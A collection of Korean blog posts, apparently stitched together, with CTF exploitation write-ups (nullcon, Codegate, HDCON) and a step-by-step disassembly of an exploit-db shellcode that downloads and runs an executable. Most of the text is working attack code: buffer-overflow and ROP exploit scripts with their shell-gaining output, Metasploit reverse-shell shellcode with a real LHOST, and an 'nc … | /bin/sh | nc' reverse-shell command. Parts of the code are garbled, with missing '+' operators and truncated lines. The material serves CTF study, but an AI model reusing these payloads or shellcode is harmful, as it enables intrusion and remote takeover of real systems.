"\x12\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x14\x8b\x43\xb4\x60"

"\x71\x94\xb9\x90\x21\xa5\x70\x5d\x55\x4c\x41\xe5\x55\x4f\x46"

"\x15\xd3\xa8\xcf\xec\x59\x36\xc0\x0e\x9e\xfa\x60\x87\x5c\xbc"

"\x65\x97\x60\xbd\xde\x93\x60\xbd\x20\x56\xe0\x05\x21\x68\xe1"

"\x75\x99\x68\xe1\x75\xdd\xa5\x61\x9d\x18\xca\x9d\xa1\xc5\x58"

"\x03\x39\x24\xd4\xbb\xb1\x38")


shellcode = "\x90"*100 shellcode


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


recv = 0x08048720

send = 0x08048750

strcpy = 0x08048640

freespace = 0x0804b301

pr = 0x08048b54


nnjesp = 0x9090ffe4


raw_input("go? ")


payload = ":"

payload = "A" * (0xdc - len(payload))

payload = "BBBB"

payload = "\x0a"


payload = p(strcpy)

payload = p(pr-1) # ppr

payload = p(freespace)

payload = p(0x08048640) # 0xff


payload = p(strcpy)

payload = p(pr-1) # ppr

payload = p(freespace 1)

payload = p(0x08048766) # 0xe4


payload = p(strcpy)

payload = p(pr-1) # ppr

payload = p(freespace 2)

payload = p(0x08048e57) # 0x90


payload = p(strcpy)

payload = p(pr-1) # pppr

payload = p(freespace 3)

payload = p(0x08048e57) # 0x90


payload = p(freespace) # jmp esp

payload = shellcode # <-- esp!!


s.recv(1024)


print "[*] Sending Exploit.."

time.sleep(1)

s.send(payload "\n")


print "[*] cat key :D"

time.sleep(1)

print s.recv(1024)


raw_input("> ")


"""

C:\Users\Administrator\Desktop\nullcon>ex2.py

go?

[*] Sending Exploit..

[*] cat key :D

6ffcffda1c58f6dbe4dcd5b715de538c


>


C:\Users\Administrator\Desktop\nullcon>

"""


바이너리에는 간단한 buffer overflow 취약점이 존재한다.


aslr이 걸려있다는 가정하에 exploit 코드를 작성한다



Flag : 6ffcffda1c58f6dbe4dcd5b715de538c

신고

댓글 0


매우 오랜만에 정보성 글을 쓰는것 같네요...


계속 대학교 예비대학 수업, BOB 특강 및 수업, BOB 팀 프로젝트, 개인공부 등등 많은일이 있어서 11월 부터는 많은 글을 쓰지 못했습니다.


3월이면.. BOB 2기의 전체 일정이 끝나니 지금보다는 여유로워 질것 같네요.


이번에는 exploit-db.com에 있는 Shellcode중 하나인 urldownloadtofile 쉘코드가 어떻게 동작하는지 방식과 구조를 분석해보려고 합니다.


대단한건 아니지만 대충 어떤 흐름으로 가는지 정도만 해보려고 하는데 필요한 분들께 도움이 되었으면 좋겟군요.


/*
Title: Allwin URLDownloadToFile WinExec ExitProcess Shellcode
Date: 2013-22-01
Author: RubberDuck
Web: http://bflow.security-portal.cz
http://www.security-portal.cz
Tested on: Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64)
-- file is downloaded from URL http://bflow.security-portal.cz/down/xy.txt
-- xy.txt - http://www.virustotal.com/file/7d0d68f8e378d5aa29620c749f797d1d5fa05356fbf6f9ca64ba00f00fe86182/analysis/1358866648/
-- xy.txt only shows MessageBox with text "Test application for Allwin URLDownloadToFile shellcode"
and title ">> Author: RubberDuck - http://bflow.security-portal.cz <<"
*/
#include
#include
int main(){
unsigned char shellcode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04"
"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64"
"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3"
"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3"
"\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E"
"\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52"
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62"
"\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2"
"\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C"
"\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C"
"\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24"
"\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33"
"\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64"
"\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C"
"\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24"
"\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83"
"\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68"
"\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57"
"\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D"
"\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A"
"\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03"
"\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69"
"\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF"
"\xFF\xFF"
// http://bflow.security-portal.cz/down/xy.txt
"\x68\x74\x74\x70\x3A\x2F\x2F\x62"
"\x66\x6C\x6F\x77\x2E\x73\x65\x63\x75\x72"
"\x69\x74\x79\x2D\x70\x6F\x72\x74\x61\x6C"
"\x2E\x63\x7A\x2F\x64\x6F\x77\x6E\x2F\x78"
"\x79\x2E\x74\x78\x74\x00";
LPVOID lpAlloc = NULL;
void (*pfunc)();
lpAlloc = VirtualAlloc(0, 4096,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if(lpAlloc == NULL){
printf("Memory isn't allocated!\n");
return 0;
}
memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) 1);
pfunc = (void (*)())lpAlloc;
pfunc();
return 0;
}
// http://www.exploit-db.com/exploits/24318/


위를 바이트코드로 변환한 모습입니다.


33 C9 64 8B 41 30 8B 40 0C 8B 70 14 AD 96 AD 8B 58 10 8B 53 3C 03 D3 8B 52 78 03 D3 8B 72 20 03 F3 33 C9 41 AD 03 C3 81 38 47 65 74 50 75 F4 81 78 04 72 6F 63 41 75 EB 81 78 08 64 64 72 65 75 E2 8B 72 24 03 F3 66 8B 0C 4E 49 8B 72 1C 03 F3 8B 14 8E 03 D3 33 C9 51 68 2E 65 78 65 68 64 65 61 64 53 52 51 68 61 72 79 41 68 4C 69 62 72 68 4C 6F 61 64 54 53 FF D2 83 C4 0C 59 50 51 66 B9 6C 6C 51 68 6F 6E 2E 64 68 75 72 6C 6D 54 FF D0 83 C4 10 8B 54 24 04 33 C9 51 66 B9 65 41 51 33 C9 68 6F 46 69 6C 68 6F 61 64 54 68 6F 77 6E 6C 68 55 52 4C 44 54 50 FF D2 33 C9 8D 54 24 24 51 51 52 EB 47 51 FF D0 83 C4 1C 33 C9 5A 5B 53 52 51 68 78 65 63 61 88 4C 24 03 68 57 69 6E 45 54 53 FF D2 6A 05 8D 4C 24 18 51 FF D0 83 C4 0C 5A 5B 68 65 73 73 61 83 6C 24 03 61 68 50 72 6F 63 68 45 78 69 74 54 53 FF D2 FF D0 E8 B4 FF FF FF 68 74 74 70 3A 2F 2F 62 66 6C 6F 77 2E 73 65 63 75 72 69 74 79 2D 70 6F 72 74 61 6C 2E 63 7A 2F 64 6F 77 6E 2F 78 79 2E 74 78 74 00


위 코드를 올리 디버거에 복사하고 분석합니다.


00402018 33C9 XOR ECX,ECX

0040201A 64:8B41 30 MOV EAX,DWORD PTR FS:[ECX 30]

0040201E 8B40 0C MOV EAX,DWORD PTR DS:[EAX C]

00402021 8B70 14 MOV ESI,DWORD PTR DS:[EAX 14]

00402024 AD LODS DWORD PTR DS:[ESI]

00402025 96 XCHG EAX,ESI

00402026 AD LODS DWORD PTR DS:[ESI]

00402027 8B58 10 MOV EBX,DWORD PTR DS:[EAX 10]

0040202A 8B53 3C MOV EDX,DWORD PTR DS:[EBX 3C]

0040202D 03D3 ADD EDX,EBX

0040202F 8B52 78 MOV EDX,DWORD PTR DS:[EDX 78]

00402032 03D3 ADD EDX,EBX

00402034 8B72 20 MOV ESI,DWORD PTR DS:[EDX 20]

00402037 03F3 ADD ESI,EBX

00402039 33C9 XOR ECX,ECX

0040203B 41 INC ECX

0040203C AD LODS DWORD PTR DS:[ESI]

0040203D 03C3 ADD EAX,EBX

0040203F 8138 47657450 CMP DWORD PTR DS:[EAX],50746547

00402045 ^75 F4 JNZ SHORT dead.0040203B

00402047 8178 04 726F6341 CMP DWORD PTR DS:[EAX 4],41636F72

0040204E ^75 EB JNZ SHORT dead.0040203B

00402050 8178 08 64647265 CMP DWORD PTR DS:[EAX 8],65726464

00402057 ^75 E2 JNZ SHORT dead.0040203B

00402059 8B72 24 MOV ESI,DWORD PTR DS:[EDX 24]

0040205C 03F3 ADD ESI,EBX

0040205E 66:8B0C4E MOV CX,WORD PTR DS:[ESI ECX*2]

00402062 49 DEC ECX

00402063 8B72 1C MOV ESI,DWORD PTR DS:[EDX 1C]

00402066 03F3 ADD ESI,EBX

00402068 8B148E MOV EDX,DWORD PTR DS:[ESI ECX*4]

0040206B 03D3 ADD EDX,EBX

0040206D 33C9 XOR ECX,ECX

0040206F 51 PUSH ECX

00402070 68 2E657865 PUSH 6578652E

00402075 68 64656164 PUSH 64616564

0040207A 53 PUSH EBX

0040207B 52 PUSH EDX

0040207C 51 PUSH ECX

0040207D 68 61727941 PUSH 41797261

00402082 68 4C696272 PUSH 7262694C

00402087 68 4C6F6164 PUSH 64616F4C

0040208C 54 PUSH ESP

0040208D 53 PUSH EBX

0040208E FFD2 CALL EDX

00402090 83C4 0C ADD ESP,0C

00402093 59 POP ECX

00402094 50 PUSH EAX

00402095 51 PUSH ECX

00402096 66:B9 6C6C MOV CX,6C6C

0040209A 51 PUSH ECX

0040209B 68 6F6E2E64 PUSH 642E6E6F

004020A0 68 75726C6D PUSH 6D6C7275

004020A5 54 PUSH ESP

004020A6 FFD0 CALL EAX

004020A8 83C4 10 ADD ESP,10

004020AB 8B5424 04 MOV EDX,DWORD PTR SS:[ESP 4]

004020AF 33C9 XOR ECX,ECX

004020B1 51 PUSH ECX

004020B2 66:B9 6541 MOV CX,4165

004020B6 51 PUSH ECX

004020B7 33C9 XOR ECX,ECX

004020B9 68 6F46696C PUSH 6C69466F

004020BE 68 6F616454 PUSH 5464616F

004020C3 68 6F776E6C PUSH 6C6E776F

004020C8 68 55524C44 PUSH 444C5255

004020CD 54 PUSH ESP

004020CE 50 PUSH EAX

004020CF FFD2 CALL EDX

004020D1 33C9 XOR ECX,ECX

004020D3 8D5424 24 LEA EDX,DWORD PTR SS:[ESP 24]

004020D7 51 PUSH ECX

004020D8 51 PUSH ECX

004020D9 52 PUSH EDX

004020DA EB 47 JMP SHORT dead.00402123

004020DC 51 PUSH ECX

004020DD FFD0 CALL EAX

004020DF 83C4 1C ADD ESP,1C

004020E2 33C9 XOR ECX,ECX

004020E4 5A POP EDX

004020E5 5B POP EBX

004020E6 53 PUSH EBX

004020E7 52 PUSH EDX

004020E8 51 PUSH ECX

004020E9 68 78656361 PUSH 61636578

004020EE 884C24 03 MOV BYTE PTR SS:[ESP 3],CL

004020F2 68 57696E45 PUSH 456E6957

004020F7 54 PUSH ESP

004020F8 53 PUSH EBX

004020F9 FFD2 CALL EDX

004020FB 6A 05 PUSH 5

004020FD 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP 18]

00402101 51 PUSH ECX

00402102 FFD0 CALL EAX

00402104 83C4 0C ADD ESP,0C

00402107 5A POP EDX

00402108 5B POP EBX

00402109 68 65737361 PUSH 61737365

0040210E 836C24 03 61 SUB DWORD PTR SS:[ESP 3],61

00402113 68 50726F63 PUSH 636F7250

00402118 68 45786974 PUSH 74697845

0040211D 54 PUSH ESP

0040211E 53 PUSH EBX

0040211F FFD2 CALL EDX

00402121 FFD0 CALL EAX

00402123 E8 B4FFFFFF CALL dead.004020DC

00402128 68 7474703A PUSH 3A707474

0040212D 2F DAS

0040212E 2F DAS

0040212F 6266 6C BOUND ESP,QWORD PTR DS:[ESI 6C]

00402132 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

00402133 77 2E JA SHORT dead.00402163

00402135 73 65 JNB SHORT dead.0040219C

00402137 6375 72 ARPL WORD PTR SS:[EBP 72],SI

0040213A 697479 2D 706F72>IMUL ESI,DWORD PTR DS:[ECX EDI*2 2D],747>

00402142 61 POPAD

00402143 6C INS BYTE PTR ES:[EDI],DX ; I/O command

00402144 2E:637A 2F ARPL WORD PTR CS:[EDX 2F],DI

00402148 64:6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

0040214A 77 6E JA SHORT dead.004021BA

0040214C 2F DAS

0040214D 78 79 JS SHORT dead.004021C8

0040214F 2E:74 78 JE SHORT dead.004021CA ; Superfluous prefix

00402152 74 00 JE SHORT dead.00402154


디스어셈블된 전체 결과 [후반부는 download할 url link이므로 정상적인 코드가 아닙니다.]


그러면 조금씩 구역을 나눠서 살펴보겠습니다.


00402015 90 NOP

00402016 90 NOP

00402017 90 NOP

00402018 33C9 XOR ECX,ECX

0040201A 64:8B41 30 MOV EAX,DWORD PTR FS:[ECX 30]

0040201E 8B40 0C MOV EAX,DWORD PTR DS:[EAX C]

00402021 8B70 14 MOV ESI,DWORD PTR DS:[EAX 14]

00402024 AD LODS DWORD PTR DS:[ESI]

00402025 96 XCHG EAX,ESI

00402026 AD LODS DWORD PTR DS:[ESI]

00402027 8B58 10 MOV EBX,DWORD PTR DS:[EAX 10] ; get baseaddr of kernel32.dll

0040202A 8B53 3C MOV EDX,DWORD PTR DS:[EBX 3C] ; offset to 'PE'

0040202D 03D3 ADD EDX,EBX

0040202F 8B52 78 MOV EDX,DWORD PTR DS:[EDX 78] ; image_export_directory

00402032 03D3 ADD EDX,EBX

00402034 8B72 20 MOV ESI,DWORD PTR DS:[EDX 20] ; name pointer table

00402037 03F3 ADD ESI,EBX

00402039 33C9 XOR ECX,ECX

0040203B 41 INC ECX

0040203C AD LODS DWORD PTR DS:[ESI]

0040203D 03C3 ADD EAX,EBX

0040203F 8138 47657450 CMP DWORD PTR DS:[EAX],50746547 ; is GetProcAddress

00402045 ^75 F4 JNZ SHORT dead.0040203B

00402047 8178 04 726F6341 CMP DWORD PTR DS:[EAX 4],41636F72

0040204E ^75 EB JNZ SHORT dead.0040203B

00402050 8178 08 64647265 CMP DWORD PTR DS:[EAX 8],65726464

00402057 ^75 E2 JNZ SHORT dead.0040203B



위는 PEB를 이용하여 kernel32.dll의 BaseAddress 를 가져오고 간단한 연산을 통해서 GerProcAddress의 주소를 가져오게 됩니다.


00402059 8B72 24 MOV ESI,DWORD PTR DS:[EDX 24]

0040205C 03F3 ADD ESI,EBX

0040205E 66:8B0C4E MOV CX,WORD PTR DS:[ESI ECX*2]

00402062 49 DEC ECX

00402063 8B72 1C MOV ESI,DWORD PTR DS:[EDX 1C]

00402066 03F3 ADD ESI,EBX

00402068 8B148E MOV EDX,DWORD PTR DS:[ESI ECX*4]

0040206B 03D3 ADD EDX,EBX

0040206D 33C9 XOR ECX,ECX

0040206F 51 PUSH ECX

00402070 68 2E657865 PUSH 6578652E

00402075 68 64656164 PUSH 64616564

0040207A 53 PUSH EBX

0040207B 52 PUSH EDX

0040207C 51 PUSH ECX

0040207D 68 61727941 PUSH 41797261

00402082 68 4C696272 PUSH 7262694C

00402087 68 4C6F6164 PUSH 64616F4C

0040208C 54 PUSH ESP

0040208D 53 PUSH EBX

0040208E FFD2 CALL EDX ; getprocaddress("LoadLibraryA")


위는 urldownloadtofilea 함수가 존재하는 urlmon.dll을 로딩하기 위해서 LoadLibraryA의 주소를 방금 얻은 GetProcAddress로 가져오게 됩니다.


00402090 83C4 0C ADD ESP,0C

00402093 59 POP ECX

00402094 50 PUSH EAX

00402095 51 PUSH ECX

00402096 66:B9 6C6C MOV CX,6C6C

0040209A 51 PUSH ECX

0040209B 68 6F6E2E64 PUSH 642E6E6F

004020A0 68 75726C6D PUSH 6D6C7275

004020A5 54 PUSH ESP

004020A6 FFD0 CALL EAX ; LoadLibraryA("urlmon.dll")


LoadLibraryA의 주소를 가져오게 되면 LoadLibrary를 사용하여 urlmon.dll 파일을 로딩하게 됩니다.


004020A8 83C4 10 ADD ESP,10

004020AB 8B5424 04 MOV EDX,DWORD PTR SS:[ESP 4]

004020AF 33C9 XOR ECX,ECX

004020B1 51 PUSH ECX

004020B2 66:B9 6541 MOV CX,4165

004020B6 51 PUSH ECX

004020B7 33C9 XOR ECX,ECX

004020B9 68 6F46696C PUSH 6C69466F

004020BE 68 6F616454 PUSH 5464616F

004020C3 68 6F776E6C PUSH 6C6E776F

004020C8 68 55524C44 PUSH 444C5255

004020CD 54 PUSH ESP

004020CE 50 PUSH EAX

004020CF FFD2 CALL EDX ; GetProcAddress("URLDownloadToFileA")


urlmon.dll 이 성공적으로 로딩되면 GetProcAddress를 이용하여 URLDownloadToFileA 라는 함수의 주소를 가져올수 있게 되므로


다시 GetProcAddress("URLDownloadToFileA")를 호출합니다.


004020D1 33C9 XOR ECX,ECX

004020D3 8D5424 24 LEA EDX,DWORD PTR SS:[ESP 24]

004020D7 51 PUSH ECX

004020D8 51 PUSH ECX

004020D9 52 PUSH EDX

004020DA EB 47 JMP SHORT dead.00402123

004020DC 51 PUSH ECX

004020DD FFD0 CALL EAX ; urldownloadtofile(NULL, url, dead.exe, NULL, NULL)


그러면 이제 얻어온 URLDownloadToFile의 주소와 미리 준비해둔 인자들을 push하고 call로 함수를 호출합니다.


최종적으로 호출되는 함수와 인자는 URLDownloadToFileA(NULL, "http://[생략]", "dead.exe", NULL, NULL) 입니다.


004020DF 83C4 1C ADD ESP,1C

004020E2 33C9 XOR ECX,ECX

004020E4 5A POP EDX

004020E5 5B POP EBX

004020E6 53 PUSH EBX

004020E7 52 PUSH EDX

004020E8 51 PUSH ECX

004020E9 68 78656361 PUSH 61636578

004020EE 884C24 03 MOV BYTE PTR SS:[ESP 3],CL

004020F2 68 57696E45 PUSH 456E6957

004020F7 54 PUSH ESP

004020F8 53 PUSH EBX

004020F9 FFD2 CALL EDX ; GetProcAddress("WinExec")


위 코드가 실행되기 전 URLDownloadToFileA 함수가 실행되어 현재 프로그램가 있는 같은폴더에 dead.exe가 다운로드 받아지는데 그것을 실행시키기 위하여


WinExec 함수주소를 얻어야 합니다. 그러기위해서 또 다시 GetProcAddress("WinExec") 함수를 호출합니다.


004020FB 6A 05 PUSH 5

004020FD 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP 18]

00402101 51 PUSH ECX

00402102 FFD0 CALL EAX ; WinExec("dead.exe")


얻어온 주소를 이용하여 SW_SHOW 속성으로 dead.exe를 실행합니다.


00402104 83C4 0C ADD ESP,0C

00402107 5A POP EDX

00402108 5B POP EBX

00402109 68 65737361 PUSH 61737365

0040210E 836C24 03 61 SUB DWORD PTR SS:[ESP 3],61

00402113 68 50726F63 PUSH 636F7250

00402118 68 45786974 PUSH 74697845

0040211D 54 PUSH ESP

0040211E 53 PUSH EBX

0040211F FFD2 CALL EDX ; GetProcAddress("ExitProcess")


막바지 작업인 부모 프로세스를 종료시키기 위해서 ExitProcess의 주소를 GetProcAddress로 얻어옵니다.


00402121 FFD0 CALL EAX ; ExitProcess() - End Of Shellcode


GetProcAddress를 이용하면 EAX에 ExitProcess의 주소값이 저장되는데


곧바로 Call Eax로 ExitProcess를 호출해서 프로그램을 종료시킵니다.


00402123 E8 B4FFFFFF CALL dead.004020DC ; exitprocess를 실행했을 경우 호출되지 않음.

00402128 68 7474703A PUSH 3A707474 ; 이하 http:// ~~~ 텍스트를 디스어셈블 한 결과임.

0040212D 2F DAS

0040212E 2F DAS

0040212F 6266 6C BOUND ESP,QWORD PTR DS:[ESI 6C]

00402132 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

00402133 77 2E JA SHORT dead.00402163

00402135 73 65 JNB SHORT dead.0040219C

00402137 6375 72 ARPL WORD PTR SS:[EBP 72],SI

0040213A 697479 2D 706F72>IMUL ESI,DWORD PTR DS:[ECX EDI*2 2D],747>

00402142 61 POPAD

00402143 6C INS BYTE PTR ES:[EDI],DX ; I/O command

00402144 2E:637A 2F ARPL WORD PTR CS:[EDX 2F],DI

00402148 64:6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

0040214A 77 6E JA SHORT dead.004021BA

0040214C 2F DAS

0040214D 78 79 JS SHORT dead.004021C8

0040214F 2E:74 78 JE SHORT dead.004021CA ; Superfluous prefix

00402152 74 00 JE SHORT dead.00402154


이는 아래 코드들인데 call 004020dc는 ExitProcess가 성공적으로 실행됬을 경우엔 실행되지 않습니다.


그리고 00402128 이후의 디스어셈블된 결과들은 전부다 정상코드들이 아닌 문자열 'http://bflow.security-portal.cz/down/xy.txt' 를 디스어셈블한 결과입니다.


##################################################################################################################################


최종 정리를 해보자면


1. kernel32 의 base주소를 가져온다.

2. GetProcAddress 주소를 가져온다.

3. LoadLibrary 주소를 가져온다.

4. urlmon.dll을 LoadLibrary 를 이용하여 프로세스에 로딩시킨다.

5. URLDonwloadToFileA 의 주소를 가져온다.

6. 5에서 가져온 주소를 이용하여 http://bflow.security-portal.cz/down/xy.txt 의 파일을 dead.exe 로 저장한다.

7. WinExec의 주소를 가져온다.

8. dead.exe를 WinExec로 실행한다.



9. ExitProcess의 주소를 가져온다.

10. ExitProcess를 실행시켜 프로그램을 종료시킨다.


이렇게 10단계로 구분할 수 있습니다.


##################################################################################################################################


며칠간 폐인이 된 머리를 잠깐이나마 쉬게 할수 있게 되엇네요 ㅎㅎㅎㅎ

나중에 쉘코드 만드는 분들께 도움이 되었으면 좋겠습니다. [물론 공부나 버그헌팅같이 좋은쪽으로 ^^]


또한 쉘코드 url을 모자이크 처리하지 않은 이유는 exploit-db에 올려진 글이고 신뢰성이있고 악성 파일이 아니기 때문임을 알립니다.


신고

Comment 3

  • 2014.02.08 17:04 수정 답글

    비밀댓글입니다

    • 2014.02.11 23:11 신고 수정

      시간상 메일로 답변을 드리지 못해 죄송합니다.
      공부 테크는 정해진게 없고 공부하고 싶으신것을 공부하시면 된다고 봅니다. 예를들어 처음엔 리버싱을 시작할때는 키젠미나 크랙미를 접하고 이후에 다른 정보를 찾아보셔서 그 곳에 접근하는 방식을 추천드립니다.
      제가 아는 대부분의 분들은 이런 방식으로 공부하고 있습니다.
      그리고 저는 이 블로그를 시작으로 같이 공부를 시작했습니다.
      저는 아직 갈길이 엄청나게 머네요. 감사합니다.

  • 호기심
    2016.04.15 17:32 신고 수정 답글

    402123에 있는 CALL dead.004020DC는 ExitProcess() 때문에 호출되지 않는 것이 아니라,
    4020DA에 있는 JMP SHORT dead.00402123에 의해 불려진 후,
    URLDownloadtoFile에서 사용할 URL 주소를 얻기 위해 사용되네요.



대회 당시엔 libc 파일까지 다 주어졋던것으로 기억한다.


이 당시엔 pwnable 의 p도 모르던 상태라 손대지도 못했지만, 지금은 어느정도 풀만했다.


바이너리는 서버에 demonized 형식으로 돌아가고 있었으며, 내 서버에서도 p0p0pret 의 도움을 받아 리모트 환경으로 세팅했다.


취약점은 딱 '한 눈에' 보일만한 취약점이며, 간단한 Stack-based BufferOverflow 취약점이다.



ropasaurusrex


NX와 ASLR이 모두 설정되어 있어서 ROP 체인을 이용해야만 했다.


Payload 는 Stage1 과 Stage2 로 나뉘며 1에선 write_got 을 leak 시켜 system의 주소를 얻고, 2에선 system 함수를 실행시켜 권한을 획득한다.


http://pastebin.com/1wxt65qn Exploit


import os

import struct

from socket import *

import time


def GOT_SHELL(sock):

command=""

while(command != 'quit'):

command=raw_input("> ")

sock.send(command "\n")

time.sleep(0.5)

print sock.recv(0x4096)

return


p = lambda x : struct.pack("

up = lambda x : struct.unpack("


ip = "192.168.0.103"

port = 12312 # my server


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


#write = dfcd0

#system = 41280


OFFSET = 0x9ea50


freespace = 0x08049629

ppppr = 0x080484b5

write = 0x0804830c

read = 0x0804832c

write_got = 0

system = 0

cmd = "/bin/sh"

sh = 0x0804867f


############################################################################ stage1

payload = ""

payload = "A"*0x88

payload = "BBBB"


payload = p(write) # ret

payload = p(ppppr 1) # pppr

payload = p(1) # stdout

payload = p(0x08049614) # get write_got

payload = p(4) # size


payload = p(read) # ret

payload = p(ppppr 1) # ppr

payload = p(0)

payload = p(freespace)

payload = p(len(cmd))


payload = p(0x0804841d) # return to vuln function


print "[*] Sending Stage 1 . . ."

s.send(payload)

time.sleep(0.5)


print "[*] Sending Command " cmd " . . ."

s.send(cmd)


write_got = up(s.recv(2048))[0]

print "[!] system addr : " hex(write_got)


############################################################################ stage2

payload = ""

payload = "A"*0x8c

payload = p(write_got - OFFSET) # write system

payload = "AAAA"

#payload = p(sh)

payload = p(freespace)


#####################################################################################


print "[*] Sending Stage 2 . . ."

s.send(payload)

GOT_SHELL(s)


raw_input("Got Shell?")

"""

C:\Users\Administrator\Desktop\sweetchip>exploit.py

[*] Sending Stage 1 . . .

[*] Sending Command /bin/sh . . .

[!] system addr : 0xb7649cd0L

[*] Sending Stage 2 . . .

> whoami

sweetchip


> cat /home/sweetchip/key

This is K3y


>

"""


이상!

신고

댓글 1


벌써 이 대회가 8개월전이라니 실감이 안난다. 얼마전에 코드게이트 사무국에서 2014년에 열릴 코드게이트를 준비중이라고 단체 메일이 왔엇다..


내년 코드게이트에서는 좀더 좋은 성적을 내보기 위해서이기도 하고 리눅스와 좀더 친해지고 싶어서 여러 문제를 접하고 있는데, 8개월전에 열렸던 YUT Challenge 를 풀기로 했다.


이번 문제는 ASLR과 NX를 전혀 생각할 필요가 없었다.


NX의 경우는 스택에 실행권한이 주어져 있어서 쉘코드를 사용할 수 있엇고, ASLR은 문제 특성상 필요가 없었다.


문제의 주제는 Vtable 이었고, Vtable의 값을 Overwrite 시켜서 프로그램의 흐름을 변경하는 문제였는데,


strncpy에서 버퍼 포인터의 4 부터 값을 할당하는데 이곳에 -4를 해서 Virtual function pointer 값이 있는 부분들 다른 함수가 있는 주소로 변경시키는 문제이다.


맞게 설명하고 있는지는 잘 모르겠다만..



8ff953dd97c4405234a04291dee39e0b



#/usr/bin/python

import struct


# CodeGate 2013 PreQual - Vuln300 Exploitation

# Exploit : http://pastebin.com/QnLgGBV5

# by sweetchip

p = lambda x : struct.pack("


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=220.117.247.200, LPORT=12071,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependSetresuid=false, PrependSetreuid=false,

# PrependSetuid=false, PrependSetresgid=false,

# PrependSetregid=false, PrependSetgid=false,

# PrependChrootBreak=false, AppendExit=false,

# InitialAutoRunScript=, AutoRunScript=

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")


payload = ""

payload = "-4\n"

payload = p(0x080491e4) # address of 0x080491e8

payload = p(0x080491e8) # shellcode

payload = shellcode


print payload


"""

C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [192.168.0.1] 48276: NO_DATA

dir

a.py codegate-prequal-300 codegate_300.py key p2

cat key

this is key

"""


신고

댓글 0


대회 당시 처음으로 시스템 문제를 풀어보려고 마음먹었던 hdcon이었는데, 이제야 푸는데 성공했다.


몇시간 삽질하면서 도저히 안될때는 다른사람의 풀이를 한줄씩 보면서 힌트를 얻어갔다.

생각보다 간단했으며, ASLR은 fork의 특성상 있으나 없으나 상관이 없었고, 대회 당시 문제였던 NX는 ROP 방식으로 우회할 수 있었다.

현재는 hdcon 서버가 닫혀있으므로, 개인 ubuntu 13.04 데스크탑 이미지를 이용했고 libc.so 파일을 가져와서 비교하면서 오프셋을 구했다.

실제였다면 이방식으로 풀기는 좀 어려웠겟지만
[왜냐하면 libc.so 가 주어지지 않기때문. 실제 대회당시엔 본인이 직접 구해야 했다. 또는 라이브러리 주소를 구해서 send로 구해온다.]

그래도 libc 파일은 주어진다는 가정하에 풀게 되었다.


문제 바이너리

# /usr/bin/python
# http://pastebin.com/Ad2NzHRj
# HDCON 2013 PreQual Lv5 - exploitation, luckyzzang
# by sweetchip
# 2013.11.24 (stage version)
from socket import *
import struct
import time

p = lambda x : struct.pack("
up = lambda x : struct.unpack("
ip = "192.168.32.225"
port = 7777

s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))
print s.recv(1024) # msg

func_main = 0x080486d4
rand = 0x0804a030
send = 0x08048610
recv = 0x080485f0
libc = 0xb75b5000
ppppr = 0x080489cc
freespace = 0x0804a054
system = 0

cmd = "nc 192.168.32.43 9090 | /bin/sh |nc 192.168.32.43 9091;"

##################################################
# Stage 1 - Get system addr
##################################################
payload = "A"*0x408 # buf
payload = "SWCP" # sfp
##################################################
